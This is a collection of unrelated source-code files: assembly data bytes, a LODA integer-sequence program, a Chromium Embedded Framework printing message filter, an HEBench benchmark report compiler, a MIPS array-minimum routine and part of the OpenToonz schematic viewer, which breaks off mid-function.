DB 0x27,0xc8,0x06,0x00
DB 0x22,0xb8,0x05,0x00
DB 0x1d,0xa8,0x04,0x00
DB 0x18,0x98,0x03,0x00
DB 0x13,0x88,0x02,0x00
DB 0x0e,0x78,0x01,0x00
DB 0x09,0x68,0x00,0x00
DB 0x04,0x01,0x15,0x00
DB 0x00,0xb3,0x00,0x00
|
; A105578: a(n+3) = 2a(n+2) - 3a(n+1) + 2a(n); a(0) = 1, a(1) = 1, a(2) = 0.
; 1,1,0,-1,0,3,4,-1,-8,-5,12,23,0,-45,-44,47,136,43,-228,-313,144,771,484,-1057,-2024,91,4140,3959,-4320,-12237,-3596,20879,28072,-13685,-69828,-42457,97200,182115,-12284,-376513,-351944,401083,1104972,302807,-1907136,-2512749,1301524,6327023,3723976,-8930069,-16378020,1482119,34238160,31273923,-37202396,-99750241,-25345448,174155035,224845932,-123464137,-573156000,-326227725,820084276,1472539727,-167628824,-3112708277,-2777450628,3447965927,9002867184,2106935331,-15898799036,-20112669697,11684928376,51910267771,28540411020,-75280124521,-132360946560,18199302483,282921195604,246522590639,-319319800568,-812364981845,-173725380708,1451004582983,1798455344400,-1103553821565,-4700464510364,-2493356867233,6907572153496,11894285887963,-1920858419028,-25709430194953,-21867713356896,29551147033011,73286573746804,14184279680783,-132388867812824,-160757427174389,104020308451260,425535162800039
lpb $0
sub $0,1
mul $1,2
add $1,1
add $2,$1
sub $1,$2
lpe
add $1,1
mov $0,$1
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "libcef/browser/printing/printing_message_filter.h"
#include "libcef/browser/printing/print_view_manager.h"
#include <memory>
#include <string>
#include <utility>
#include "base/bind.h"
#include "base/lazy_instance.h"
#include "base/task/post_task.h"
#include "build/build_config.h"
#include "chrome/browser/browser_process.h"
#include "chrome/browser/printing/print_job_manager.h"
#include "chrome/browser/printing/printer_query.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/common/pref_names.h"
#include "components/keyed_service/content/browser_context_keyed_service_shutdown_notifier_factory.h"
#include "components/printing/browser/print_manager_utils.h"
#include "components/printing/common/print.mojom.h"
#include "components/printing/common/print_messages.h"
#include "content/public/browser/browser_task_traits.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/web_contents.h"
#include "content/public/common/child_process_host.h"
#include "printing/mojom/print.mojom.h"
using content::BrowserThread;
namespace printing {
namespace {
class CefPrintingMessageFilterShutdownNotifierFactory
: public BrowserContextKeyedServiceShutdownNotifierFactory {
public:
static CefPrintingMessageFilterShutdownNotifierFactory* GetInstance();
private:
friend struct base::LazyInstanceTraitsBase<
CefPrintingMessageFilterShutdownNotifierFactory>;
CefPrintingMessageFilterShutdownNotifierFactory()
: BrowserContextKeyedServiceShutdownNotifierFactory(
"CefPrintingMessageFilter") {}
~CefPrintingMessageFilterShutdownNotifierFactory() override {}
DISALLOW_COPY_AND_ASSIGN(CefPrintingMessageFilterShutdownNotifierFactory);
};
base::LazyInstance<CefPrintingMessageFilterShutdownNotifierFactory>::Leaky
g_printing_message_filter_shutdown_notifier_factory =
LAZY_INSTANCE_INITIALIZER;
// static
CefPrintingMessageFilterShutdownNotifierFactory*
CefPrintingMessageFilterShutdownNotifierFactory::GetInstance() {
return g_printing_message_filter_shutdown_notifier_factory.Pointer();
}
} // namespace
CefPrintingMessageFilter::CefPrintingMessageFilter(int render_process_id,
Profile* profile)
: content::BrowserMessageFilter(PrintMsgStart),
render_process_id_(render_process_id),
queue_(g_browser_process->print_job_manager()->queue()) {
DCHECK(queue_.get());
DCHECK_CURRENTLY_ON(BrowserThread::UI);
printing_shutdown_notifier_ =
CefPrintingMessageFilterShutdownNotifierFactory::GetInstance()
->Get(profile)
->Subscribe(base::Bind(&CefPrintingMessageFilter::ShutdownOnUIThread,
base::Unretained(this)));
is_printing_enabled_.Init(prefs::kPrintingEnabled, profile->GetPrefs());
is_printing_enabled_.MoveToSequence(content::GetIOThreadTaskRunner({}));
}
void CefPrintingMessageFilter::EnsureShutdownNotifierFactoryBuilt() {
CefPrintingMessageFilterShutdownNotifierFactory::GetInstance();
}
CefPrintingMessageFilter::~CefPrintingMessageFilter() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
}
void CefPrintingMessageFilter::ShutdownOnUIThread() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
is_printing_enabled_.Destroy();
printing_shutdown_notifier_.reset();
}
void CefPrintingMessageFilter::OnDestruct() const {
BrowserThread::DeleteOnUIThread::Destruct(this);
}
bool CefPrintingMessageFilter::OnMessageReceived(const IPC::Message& message) {
bool handled = true;
IPC_BEGIN_MESSAGE_MAP(CefPrintingMessageFilter, message)
IPC_MESSAGE_HANDLER_DELAY_REPLY(PrintHostMsg_ScriptedPrint, OnScriptedPrint)
IPC_MESSAGE_HANDLER(PrintHostMsg_CheckForCancel, OnCheckForCancel)
IPC_MESSAGE_UNHANDLED(handled = false)
IPC_END_MESSAGE_MAP()
return handled;
}
void CefPrintingMessageFilter::OnScriptedPrint(
const mojom::ScriptedPrintParams& params,
IPC::Message* reply_msg) {
std::unique_ptr<PrinterQuery> printer_query =
queue_->PopPrinterQuery(params.cookie);
if (!printer_query.get()) {
printer_query =
queue_->CreatePrinterQuery(render_process_id_, reply_msg->routing_id());
}
printer_query->GetSettings(
PrinterQuery::GetSettingsAskParam::ASK_USER, params.expected_pages_count,
params.has_selection, params.margin_type, params.is_scripted,
params.is_modifiable,
base::BindOnce(&CefPrintingMessageFilter::OnScriptedPrintReply, this,
std::move(printer_query), reply_msg));
}
void CefPrintingMessageFilter::OnScriptedPrintReply(
std::unique_ptr<PrinterQuery> printer_query,
IPC::Message* reply_msg) {
mojom::PrintPagesParams params;
params.params = mojom::PrintParams::New();
if (printer_query->last_status() == PrintingContext::OK &&
printer_query->settings().dpi()) {
RenderParamsFromPrintSettings(printer_query->settings(),
params.params.get());
params.params->document_cookie = printer_query->cookie();
params.pages = PageRange::GetPages(printer_query->settings().ranges());
}
PrintHostMsg_ScriptedPrint::WriteReplyParams(reply_msg, params);
Send(reply_msg);
if (!params.params->dpi.IsEmpty() && params.params->document_cookie) {
queue_->QueuePrinterQuery(std::move(printer_query));
} else {
printer_query->StopWorker();
}
}
void CefPrintingMessageFilter::OnCheckForCancel(const mojom::PreviewIds& ids,
bool* cancel) {
*cancel = false;
}
} // namespace printing
|
// Copyright (C) 2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
#include <filesystem>
#include <fstream>
#include <iostream>
#include <sstream>
#include <stdexcept>
#include <string>
#include <string_view>
#include <unordered_set>
#include <utility>
#include <vector>
#include "modules/args_parser/include/args_parser.h"
#include "modules/general/include/hebench_utilities.h"
#include "hebench_report_compiler.h"
#include "hebench_report_cpp.h"
#include "hebench_report_overview_header.h"
#include "hebench_report_stats.h"
namespace hebench {
namespace ReportGen {
namespace Compiler {
using namespace std::literals;
using namespace hebench::ReportGen::cpp;
struct ReportCompilerConfig
{
std::filesystem::path input_file;
bool b_show_overview;
bool b_silent;
char time_unit;
char time_unit_stats;
char time_unit_overview;
char time_unit_summary;
void showConfig(std::ostream &os) const;
static void showVersion(std::ostream &os);
static std::string getTimeUnitName(char time_unit, const std::string &default_name = "(default)");
private:
static const std::unordered_set<std::string> m_allowed_time_units;
};
const std::unordered_set<std::string> ReportCompilerConfig::m_allowed_time_units({ "s", "ms", "us", "ns" });
std::string ReportCompilerConfig::getTimeUnitName(char time_unit, const std::string &default_name)
{
std::string retval;
switch (time_unit)
{
case 'm':
retval = "milliseconds";
break;
case 'u':
retval = "microseconds";
break;
case 'n':
retval = "nanoseconds";
break;
default:
retval = default_name;
break;
} // end switch
return retval;
}
void ReportCompilerConfig::showVersion(std::ostream &os)
{
(void)os;
}
std::vector<std::filesystem::path> extractInputFiles(const std::string &filename)
{
std::vector<std::filesystem::path> retval;
// Open file and see if each line contains a valid, existing filename.
// Throw exception if a file does not exist after the first one.
std::ifstream fnum;
fnum.open(filename, std::ios_base::in);
if (!fnum.is_open())
throw std::ios_base::failure("Could not open file \"" + filename + "\"");
std::filesystem::path root_path = std::filesystem::canonical(filename).parent_path();
bool b_done = false;
std::string s_line;
std::size_t line_num = 0;
while (!b_done && std::getline(fnum, s_line))
{
++line_num;
hebench::Utilities::trim(s_line);
if (!s_line.empty())
{
std::filesystem::path next_filename = s_line;
if (next_filename.is_relative())
// relative paths are relative to input file
next_filename = root_path / next_filename;
if (std::filesystem::is_regular_file(next_filename))
{
retval.emplace_back(next_filename.string());
} // end if
else // line is not a file
{
if (!retval.empty())
{
// other lines were already added as files, so,
// error out because this line points to non-existing file
std::stringstream ss;
ss << filename << ":" << line_num << ": file specified in line not found: " << next_filename;
throw std::invalid_argument(ss.str());
} // end if
// first non-empty line is not an existing file, so,
// this filename itself could be the file to read
b_done = true;
} // end if
} // end if
} // end while
if (retval.empty())
retval.emplace_back(filename);
return retval;
}
extern "C"
{
int32_t compile(const ReportCompilerConfigC *p_config, char *s_error, size_t s_error_size)
{
static const std::string ReportSuffix = "report";
int retval = 1;
std::stringstream ss_err;
ReportCompilerConfig config;
try
{
if (!p_config || !p_config->input_file)
throw std::runtime_error("Invalid null compiler configuration values.");
config.input_file = p_config->input_file;
config.b_show_overview = p_config->b_show_overview;
config.b_silent = p_config->b_silent;
config.time_unit = p_config->time_unit;
config.time_unit_stats = p_config->time_unit_stats;
config.time_unit_overview = p_config->time_unit_overview;
config.time_unit_summary = p_config->time_unit_summary;
if (!config.b_silent)
{
std::cout << "Extracting input file names..." << std::endl
<< std::endl;
} // end if
std::size_t max_w_params = 0;
std::stringstream ss_overview_header;
std::stringstream ss_overview;
std::filesystem::path overview_filename = config.input_file;
overview_filename.replace_filename(overview_filename.stem().string() + "_overview.csv");
std::vector<std::filesystem::path> csv_filenames = extractInputFiles(config.input_file);
if (!config.b_silent)
{
std::cout << "Input files:" << std::endl;
for (std::size_t i = 0; i < csv_filenames.size(); ++i)
std::cout << " " << i << ", " << csv_filenames[i] << std::endl;
std::cout << std::endl
<< "Overview file (output):" << std::endl
<< " " << overview_filename << std::endl
<< std::endl;
} // end if
ss_overview_header << ",,,,,,,,,,,,,Wall Time,,,,,,,,,,,,,CPU Time" << std::endl
<< "Workload,Filename,Category,Data type,Cipher text,Scheme,Security,Extra,"
<< "ID,Event,Total Wall Time,Samples per sec,Samples per sec trimmed,"
// wall
<< "Average,Standard Deviation,Time Unit,Time Factor,Min,Max,Median,Trimmed Average,Trimmed Standard Deviation,1-th percentile,10-th percentile,90-th percentile,99-th percentile,"
// cpu
<< "Average,Standard Deviation,Time Unit,Time Factor,Min,Max,Median,Trimmed Average,Trimmed Standard Deviation,1-th percentile,10-th percentile,90-th percentile,99-th percentile,Input Samples";
for (std::size_t csv_file_i = 0; csv_file_i < csv_filenames.size(); ++csv_file_i)
{
if (!config.b_silent)
{
std::cout << "=====================" << std::endl
<< " Progress: " << csv_file_i << "/" << csv_filenames.size() << std::endl
<< " " << hebench::Utilities::convertDoubleToStr(csv_file_i * 100.0 / csv_filenames.size(), 2) << "%" << std::endl
<< "=====================" << std::endl
<< std::endl;
std::cout << "Report file:" << std::endl
<< " ";
} // end if
std::cerr << csv_filenames[csv_file_i] << std::endl;
if (!config.b_silent)
{
std::cout << "Loading report..." << std::endl;
} // end if
std::shared_ptr<TimingReport> p_report;
try
{
p_report = std::make_shared<TimingReport>(TimingReport::loadReportFromCSVFile(csv_filenames[csv_file_i]));
}
catch (...)
{
}
if (p_report)
{
TimingReport &report = *p_report;
if (report.getEventCount() <= 0)
{
std::cerr << "WARNING: The loaded report belongs to a failed benchmark." << std::endl;
ss_overview << "Failed," << csv_filenames[csv_file_i] << ",Validation";
} // end if
else
{
if (!config.b_silent)
{
std::cout << "Parsing report header..." << std::endl;
} // end if
hebench::ReportGen::OverviewHeader overview_header;
overview_header.parseHeader(csv_filenames[csv_file_i], report.getHeader());
// make sure we keep track of the workload parameters
if (overview_header.w_params.size() > max_w_params)
{
for (std::size_t i = max_w_params; i < overview_header.w_params.size(); ++i)
ss_overview_header << ",wp" << i;
max_w_params = overview_header.w_params.size();
} // end if
overview_header.outputHeader(ss_overview, false);
ss_overview << ",";
char tmp_time_unit;
std::filesystem::path stem_filename = csv_filenames[csv_file_i];
std::filesystem::path summary_filename;
std::filesystem::path stats_filename;
// remove "report" from input file name
std::string s_tmp = stem_filename.stem();
if (s_tmp.length() >= ReportSuffix.length() && s_tmp.substr(s_tmp.length() - ReportSuffix.length()) == ReportSuffix)
stem_filename.replace_filename(s_tmp.substr(0, s_tmp.length() - ReportSuffix.length()));
summary_filename = stem_filename;
summary_filename += "summary.csv";
stats_filename = stem_filename;
stats_filename += "stats.csv";
if (!config.b_silent)
{
std::cout << "Computing statistics..." << std::endl;
} // end if
hebench::ReportGen::ReportStats report_stats(report);
if (!config.b_silent)
{
std::cout << "Writing summary to:" << std::endl
<< " " << summary_filename << std::endl;
} // end if
tmp_time_unit = config.time_unit_summary;
hebench::Utilities::writeToFile(
summary_filename,
[&report_stats, tmp_time_unit](std::ostream &os) -> void {
report_stats.generateSummaryCSV(os, tmp_time_unit);
},
false);
if (!config.b_silent)
{
std::cout << "Writing statistics to:" << std::endl
<< " " << stats_filename << std::endl;
} // end if
tmp_time_unit = config.time_unit_stats;
hebench::Utilities::writeToFile(
stats_filename,
[&report_stats, tmp_time_unit](std::ostream &os) -> void {
report_stats.generateCSV(os, tmp_time_unit);
},
false);
if (!config.b_silent)
{
std::cout << "Adding to report overview..." << std::endl;
} // end if
report_stats.generateCSV(ss_overview, report_stats.getMainEventTypeStats(), config.time_unit_overview, false);
// add the workload parameters if any was found
if (overview_header.w_params.empty())
{
// on file name
std::cerr << "WARNING: No workload parameters found while parsing." << std::endl;
} // end if
for (std::size_t i = 0; i < overview_header.w_params.size(); ++i)
{
if (overview_header.w_params[i].find_first_of(',') == std::string::npos)
ss_overview << "," << overview_header.w_params[i];
else
ss_overview << ",\"" << overview_header.w_params[i] << "\"";
} // end for
} // end else
} // end if
else
{
std::cerr << "WARNING: Failed to load report from file." << std::endl;
ss_overview << "Failed," << csv_filenames[csv_file_i] << ",Load";
} // end else
if (!config.b_silent)
std::cout << std::endl;
ss_overview << std::endl;
} // end for
ss_overview_header << std::endl
<< ss_overview.str();
ss_overview = std::stringstream();
std::string s_overview = ss_overview_header.str();
ss_overview_header = std::stringstream();
hebench::Utilities::writeToFile(overview_filename, s_overview.c_str(), s_overview.size() * sizeof(char), false);
if (!config.b_silent)
{
std::cout << "=====================" << std::endl
<< " Progress: " << csv_filenames.size() << "/" << csv_filenames.size() << std::endl
<< " 100%" << std::endl
<< "=====================" << std::endl
<< std::endl;
} // end if
if (config.b_show_overview)
{
if (!config.b_silent)
std::cout << "Overview:" << std::endl;
std::cout << std::endl
<< s_overview << std::endl;
} // end if
}
catch (std::exception &ex)
{
ss_err << ex.what();
retval = 0;
}
catch (...)
{
ss_err << "Unexpected error occurred.";
retval = 0;
}
if (!retval)
// report error message
hebench::Utilities::copyString(s_error, s_error_size, ss_err.str());
return retval;
}
}
} // namespace Compiler
} // namespace ReportGen
} // namespace hebench
|
# INPUT
# $a0: base address array
# $a1: dimensione array
# $a2: passo
# OUTPUT
# $v0: minimo tra i numeri considerati
.text
.globl min
min:
mul $t0, $a2, 4 #t0=offset tra el. (passo)
move $t1, $a0 #t1=indirizzo prossimo el.
lw $t2, 0($t1) #t2=el. considerato
j updatemin
loop:
slt $t4, $zero, $a1
beq $t4, 0, end
lw $t2, 0($t1)
slt $t3, $t2, $v0
bne $t3, 1, continue
updatemin:
move $v0, $t2
continue:
sub $a1, $a1, $a2
add $t1, $t1, $t0
j loop
end:
jr $ra
|
#include "toonzqt/schematicviewer.h"
// TnzQt includes
#include "toonzqt/fxtypes.h"
#include "toonzqt/schematicnode.h"
#include "toonzqt/fxschematicnode.h"
#include "toonzqt/schematicgroupeditor.h"
#include "toonzqt/stageschematicscene.h"
#include "toonzqt/fxschematicscene.h"
#include "toonzqt/menubarcommand.h"
#include "toonzqt/tselectionhandle.h"
#include "toonzqt/gutil.h"
#include "toonzqt/imageutils.h"
#include "toonzqt/dvscrollwidget.h"
// TnzLib includes
#include "toonz/txsheethandle.h"
#include "toonz/tcolumnhandle.h"
#include "toonz/tobjecthandle.h"
#include "toonz/tfxhandle.h"
#include "toonz/txsheet.h"
#include "toonz/txshlevelcolumn.h"
#include "toonz/tcolumnfx.h"
#include "toonz/txshzeraryfxcolumn.h"
#include "toonz/preferences.h"
#include "toonz/fxdag.h"
#include "toonz/tapplication.h"
#include "toonz/tscenehandle.h"
#include "toonz/txshleveltypes.h"
// Qt includes
#include <QGraphicsSceneMouseEvent>
#include <QMouseEvent>
#include <QGraphicsItem>
#include <QToolBar>
#include <QToolButton>
#include <QMenu>
#include <QIcon>
#include <QAction>
#include <QMainWindow>
#include <QVBoxLayout>
// STD includes
#include "assert.h"
#include "math.h"
namespace {
class SchematicZoomer final : public ImageUtils::ShortcutZoomer {
public:
SchematicZoomer(QWidget *parent) : ShortcutZoomer(parent) {}
bool zoom(bool zoomin, bool resetView) override {
static_cast<SchematicSceneViewer *>(getWidget())->zoomQt(zoomin, resetView);
return true;
}
bool resetZoom() override {
static_cast<SchematicSceneViewer *>(getWidget())->normalizeScene();
return true;
}
bool fit() override {
static_cast<SchematicSceneViewer *>(getWidget())->fitScene();
return true;
}
};
} // namespace
//==================================================================
//
// SchematicScene
//
//==================================================================
SchematicScene::SchematicScene(QWidget *parent) : QGraphicsScene(parent) {
setSceneRect(0, 0, 50000, 50000);
setItemIndexMethod(NoIndex);
}
//------------------------------------------------------------------
SchematicScene::~SchematicScene() { clearAllItems(); }
//------------------------------------------------------------------
void SchematicScene::showEvent(QShowEvent *se) {
TSelectionHandle *selHandle = TSelectionHandle::getCurrent();
connect(selHandle, SIGNAL(selectionSwitched(TSelection *, TSelection *)),
this, SLOT(onSelectionSwitched(TSelection *, TSelection *)));
clearSelection();
}
//------------------------------------------------------------------
void SchematicScene::hideEvent(QHideEvent *se) {
TSelectionHandle *selHandle = TSelectionHandle::getCurrent();
disconnect(selHandle, SIGNAL(selectionSwitched(TSelection *, TSelection *)),
this, SLOT(onSelectionSwitched(TSelection *, TSelection *)));
}
//------------------------------------------------------------------
/*! Removes and then deletes all item in the scene.
*/
void SchematicScene::clearAllItems() {
clearSelection();
m_highlightedLinks.clear();
QList<SchematicWindowEditor *> editors;
QList<SchematicNode *> nodes;
QList<SchematicLink *> links;
int i;
QList<QGraphicsItem *> sceneItems = items();
int size = sceneItems.size();
// create nodes and links list
for (i = 0; i < size; i++) {
QGraphicsItem *item = sceneItems.at(i);
SchematicWindowEditor *editor = dynamic_cast<SchematicWindowEditor *>(item);
SchematicNode *node = dynamic_cast<SchematicNode *>(item);
SchematicLink *link = dynamic_cast<SchematicLink *>(item);
if (editor) editors.append(editor);
if (node) nodes.append(node);
if (link) links.append(link);
}
while (links.size() > 0) {
SchematicLink *link = links.back();
removeItem(link);
links.removeLast();
SchematicPort *startPort = link->getStartPort();
SchematicPort *endPort = link->getEndPort();
if (startPort) startPort->removeLink(link);
if (endPort) endPort->removeLink(link);
delete link;
}
while (editors.size() > 0) {
SchematicWindowEditor *editor = editors.back();
removeItem(editor);
editors.removeLast();
delete editor;
}
while (nodes.size() > 0) {
SchematicNode *node = nodes.back();
removeItem(node);
nodes.removeLast();
delete node;
}
assert(items().size() == 0);
}
//------------------------------------------------------------------
/*! check if any item exists in the rect
*/
bool SchematicScene::isAnEmptyZone(const QRectF &rect) {
QList<QGraphicsItem *> allItems = items();
for (auto const level : allItems) {
SchematicNode *node = dynamic_cast<SchematicNode *>(level);
if (!node) continue;
FxSchematicNode *fxNode = dynamic_cast<FxSchematicNode *>(node);
if (fxNode && fxNode->isA(eXSheetFx)) continue;
if (node->boundingRect().translated(node->scenePos()).intersects(rect))
return false;
}
return true;
}
//------------------------------------------------------------------
QVector<SchematicNode *> SchematicScene::getPlacedNode(SchematicNode *node) {
QRectF rect = node->boundingRect().translated(node->scenePos());
QList<QGraphicsItem *> allItems = items();
QVector<SchematicNode *> nodes;
for (auto const item : allItems) {
SchematicNode *placedNode = dynamic_cast<SchematicNode *>(item);
if (!placedNode || placedNode == node) continue;
QRectF nodeRect =
placedNode->boundingRect().translated(placedNode->scenePos());
QRectF enlargedRect = rect.adjusted(-10, -10, 10, 10);
if (enlargedRect.contains(nodeRect)) nodes.push_back(placedNode);
}
return nodes;
}
//==================================================================
//
// SchematicSceneViewer
//
//==================================================================
SchematicSceneViewer::SchematicSceneViewer(QWidget *parent)
: QGraphicsView(parent)
, m_buttonState(Qt::NoButton)
, m_oldWinPos()
, m_oldScenePos()
, m_firstShowing(true) {
setObjectName("SchematicSceneViewer");
setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
setDragMode(QGraphicsView::NoDrag);
setTransformationAnchor(QGraphicsView::NoAnchor);
setRenderHint(QPainter::SmoothPixmapTransform);
setRenderHint(QPainter::TextAntialiasing);
setRenderHint(QPainter::Antialiasing);
setInteractive(true);
setViewportUpdateMode(QGraphicsView::SmartViewportUpdate);
show();
}
//------------------------------------------------------------------
SchematicSceneViewer::~SchematicSceneViewer() {}
//------------------------------------------------------------------
/*! Reimplemets the QGraphicsView::mousePressEvent()
*/
void SchematicSceneViewer::mousePressEvent(QMouseEvent *me) {
m_buttonState = me->button();
m_oldWinPos = me->pos();
m_oldScenePos = mapToScene(m_oldWinPos);
bool drawRect = true;
QList<QGraphicsItem *> pointedItems = items(me->pos());
int i;
for (i = 0; i < pointedItems.size(); i++) {
SchematicWindowEditor *editor =
dynamic_cast<SchematicWindowEditor *>(pointedItems[i]);
if (!editor) {
drawRect = false;
break;
}
}
if (m_buttonState == Qt::LeftButton && drawRect)
setDragMode(QGraphicsView::RubberBandDrag);
QGraphicsView::mousePressEvent(me);
}
//------------------------------------------------------------------
/*! Reimplemets the QGraphicsView::mouseMoveEvent()
*/
void SchematicSceneViewer::mouseMoveEvent(QMouseEvent *me) {
QPoint currWinPos = me->pos();
QPointF currScenePos = mapToScene(currWinPos);
if (m_buttonState == Qt::MidButton) {
// Panning
setInteractive(false);
// I need to disable QGraphicsView event handling to avoid the generation of
// 'virtual' mouseMoveEvent
QPointF delta = currScenePos - m_oldScenePos;
translate(delta.x(), delta.y());
currScenePos = mapToScene(currWinPos);
// translate has changed the matrix affecting the mapToScene() method. I
// have to recompute currScenePos
setInteractive(true);
}
m_oldWinPos = currWinPos;
m_oldScenePos = currScenePos;
QGraphicsView::mouseMoveEvent(me);
}
//------------------------------------------------------------------
/*! Reimplemets the QGraphicsView::mouseReleaseEvent()
*/
void SchematicSceneViewer::mouseReleaseEvent(QMouseEvent *me) {
m_buttonState = Qt::NoButton;
QGraphicsView::mouseReleaseEvent(me);
setDragMode(QGraphicsView::NoDrag);
// update();
}
//------------------------------------------------------------------
void SchematicSceneViewer::keyPressEvent(QKeyEvent *ke) {
ke->ignore();
QGraphicsView::keyPressEvent(ke);
if (!ke->isAccepted()) SchematicZoomer(this).exec(ke);
}
//------------------------------------------------------------------
/*! Reimplemets the QGraphicsView::wheelEvent()
*/
void SchematicSceneViewer::wheelEvent(QWheelEvent *me) {
me->accept();
double factor = exp(me->delta() * 0.001);
changeScale(me->pos(), factor);
}
//------------------------------------------------------------------
void SchematicSceneViewer::zoomQt(bool zoomin, bool resetView) {
if (resetView) {
resetMatrix();
// reseting will set view to the center of items bounding
centerOn(scene()->itemsBoundingRect().center());
return;
}
#if QT_VERSION >= 0x050000
double scale2 = matrix().determinant();
#else
double scale2 = matrix().det();
#endif
if ((scale2 < 100000 || !zoomin) && (scale2 > 0.001 * 0.05 || zoomin)) {
double oldZoomScale = sqrt(scale2);
double zoomScale =
resetView ? 1
: ImageUtils::getQuantizedZoomFactor(oldZoomScale, zoomin);
QMatrix scale =
QMatrix().scale(zoomScale / oldZoomScale, zoomScale / oldZoomScale);
// See QGraphicsView::mapToScene()'s doc for details
QPointF sceneCenter(mapToScene(rect().center()));
setMatrix(scale, true);
centerOn(sceneCenter);
}
}
//------------------------------------------------------------------
/*! The view is scaled around the point \b winPos by \b scaleFactor;
*/
void SchematicSceneViewer::changeScale(const QPoint &winPos,
qreal scaleFactor) {
QPointF startScenePos = mapToScene(winPos);
QMatrix scale = QMatrix().scale(scaleFactor, scaleFactor);
setMatrix(scale, true);
QPointF endScenePos = mapToScene(winPos);
QPointF delta = endScenePos - startScenePos;
translate(delta.x(), delta.y());
}
//------------------------------------------------------------------
void SchematicSceneViewer::fitScene() {
if (scene()) {
QRectF rect = scene()->itemsBoundingRect();
fitInView(rect, Qt::KeepAspectRatio);
}
}
//------------------------------------------------------------------
void SchematicSceneViewer::centerOnCurrent() {
SchematicScene *schematicScene = dynamic_cast<SchematicScene *>(scene());
QGraphicsItem *node = schematicScene->getCurrentNode();
if (node) centerOn(node);
}
//------------------------------------------------------------------
void SchematicSceneViewer::reorderScene() {
SchematicScene *schematicScene = dynamic_cast<SchematicScene *>(scene());
schematicScene->reorderScene();
}
//------------------------------------------------------------------
void SchematicSceneViewer::normalizeScene() {
// See QGraphicsView::mapToScene()'s doc for details
QPointF sceneCenter(mapToScene(rect().center()));
resetMatrix();
#if defined(MACOSX)
scale(1.32, 1.32);
#endif
centerOn(sceneCenter);
}
//------------------------------------------------------------------
void SchematicSceneViewer::showEvent(QShowEvent *se) {
QGraphicsView::showEvent(se);
if (m_firstShowing) {
m_firstShowing = false;
QRectF rect = scene()->itemsBoundingRect();
resetMatrix();
centerOn(rect.center());
}
}
//==================================================================
//
// SchematicViewer
//
//==================================================================
SchematicViewer::SchematicViewer(QWidget *parent)
: QWidget(parent)
, m_fullSchematic(true)
, m_maximizedNode(false)
, m_sceneHandle(0) {
m_viewer = new SchematicSceneViewer(this);
m_stageScene = new StageSchematicScene(this);
m_fxScene = new FxSchematicScene(this);
m_commonToolbar = new QToolBar(m_viewer);
m_stageToolbar = new QToolBar(m_viewer);
m_fxToolbar = new QToolBar(m_viewer);
m_swapToolbar = new QToolBar(m_viewer);
m_commonToolbar->setObjectName("MediumPaddingToolBar");
m_stageToolbar->setObjectName("MediumPaddingToolBar");
m_fxToolbar->setObjectName("MediumPaddingToolBar");
m_swapToolbar->setObjectName("MediumPaddingToolBar");
createToolbars();
createActions();
// layout
QVBoxLayout *mainLayout = new QVBoxLayout();
mainLayout->setMargin(0);
mainLayout->setSpacing(0);
{
mainLayout->addWidget(m_viewer, 1);
QFrame *bottomFrame = new QFrame(this);
bottomFrame->setObjectName("SchematicBottomFrame");
QHBoxLayout *horizontalLayout = new QHBoxLayout();
horizontalLayout->setMargin(0);
horizontalLayout->setSpacing(0);
{
horizontalLayout->addWidget(m_commonToolbar);
horizontalLayout->addStretch();
horizontalLayout->addWidget(m_fxToolbar);
horizontalLayout->addWidget(m_stageToolbar);
horizontalLayout->addWidget(m_swapToolbar);
}
bottomFrame->setLayout(horizontalLayout);
mainLayout->addWidget(bottomFrame, 0);
}
setLayout(mainLayout);
connect(m_fxScene, SIGNAL(showPreview(TFxP)), this,
SIGNAL(showPreview(TFxP)));
connect(m_fxScene, SIGNAL(doCollapse(const QList<TFxP> &)), this,
SIGNAL(doCollapse(const QList<TFxP> &)));
connect(m_stageScene, SIGNAL(doCollapse(QList<TStageObjectId>)), this,
SIGNAL(doCollapse(QList<TStageObjectId>)));
connect(m_fxScene, SIGNAL(doExplodeChild(const QList<TFxP> &)), this,
SIGNAL(doExplodeChild(const QList<TFxP> &)));
connect(m_stageScene, SIGNAL(doExplodeChild(QList<TStageObjectId>)), this,
SIGNAL(doExplodeChild(QList<TStageObjectId>)));
connect(m_stageScene, SIGNAL(editObject()), this, SIGNAL(editObject()));
connect(m_fxScene, SIGNAL(editObject()), this, SIGNAL(editObject()));
m_viewer->setScene(m_stageScene);
m_fxToolbar->hide();
setFocusProxy(m_viewer);
}
//------------------------------------------------------------------
SchematicViewer::~SchematicViewer() {}
//------------------------------------------------------------------
void SchematicViewer::getNodeColor(int ltype, QColor &nodeColor) {
switch (ltype) {
case TZI_XSHLEVEL:
case OVL_XSHLEVEL:
nodeColor = getFullcolorColumnColor();
break;
case PLI_XSHLEVEL:
nodeColor = getVectorColumnColor();
break;
case TZP_XSHLEVEL:
nodeColor = getLevelColumnColor();
break;
case ZERARYFX_XSHLEVEL:
nodeColor = getFxColumnColor();
break;
case CHILD_XSHLEVEL:
nodeColor = getChildColumnColor();
break;
case MESH_XSHLEVEL:
nodeColor = getMeshColumnColor();
break;
case PLT_XSHLEVEL:
nodeColor = getPaletteColumnColor();
break;
case eNormalFx:
nodeColor = getNormalFxColor();
break;
case eZeraryFx:
nodeColor = getFxColumnColor();
break;
case eMacroFx:
nodeColor = getMacroFxColor();
break;
case eGroupedFx:
nodeColor = getGroupColor();
break;
case eNormalImageAdjustFx:
nodeColor = getImageAdjustFxColor();
break;
case eNormalLayerBlendingFx:
nodeColor = getLayerBlendingFxColor();
break;
case eNormalMatteFx:
nodeColor = getMatteFxColor();
break;
default:
nodeColor = grey210;
break;
}
}
//------------------------------------------------------------------
void SchematicViewer::setApplication(TApplication *app) {
m_stageScene->setXsheetHandle(app->getCurrentXsheet());
m_stageScene->setObjectHandle(app->getCurrentObject());
m_stageScene->setFxHandle(app->getCurrentFx());
m_stageScene->setColumnHandle(app->getCurrentColumn());
m_stageScene->setSceneHandle(app->getCurrentScene());
m_stageScene->setFrameHandle(app->getCurrentFrame());
m_fxScene->setApplication(app);
}
//------------------------------------------------------------------
void SchematicViewer::updateSchematic() {
m_stageScene->updateScene();
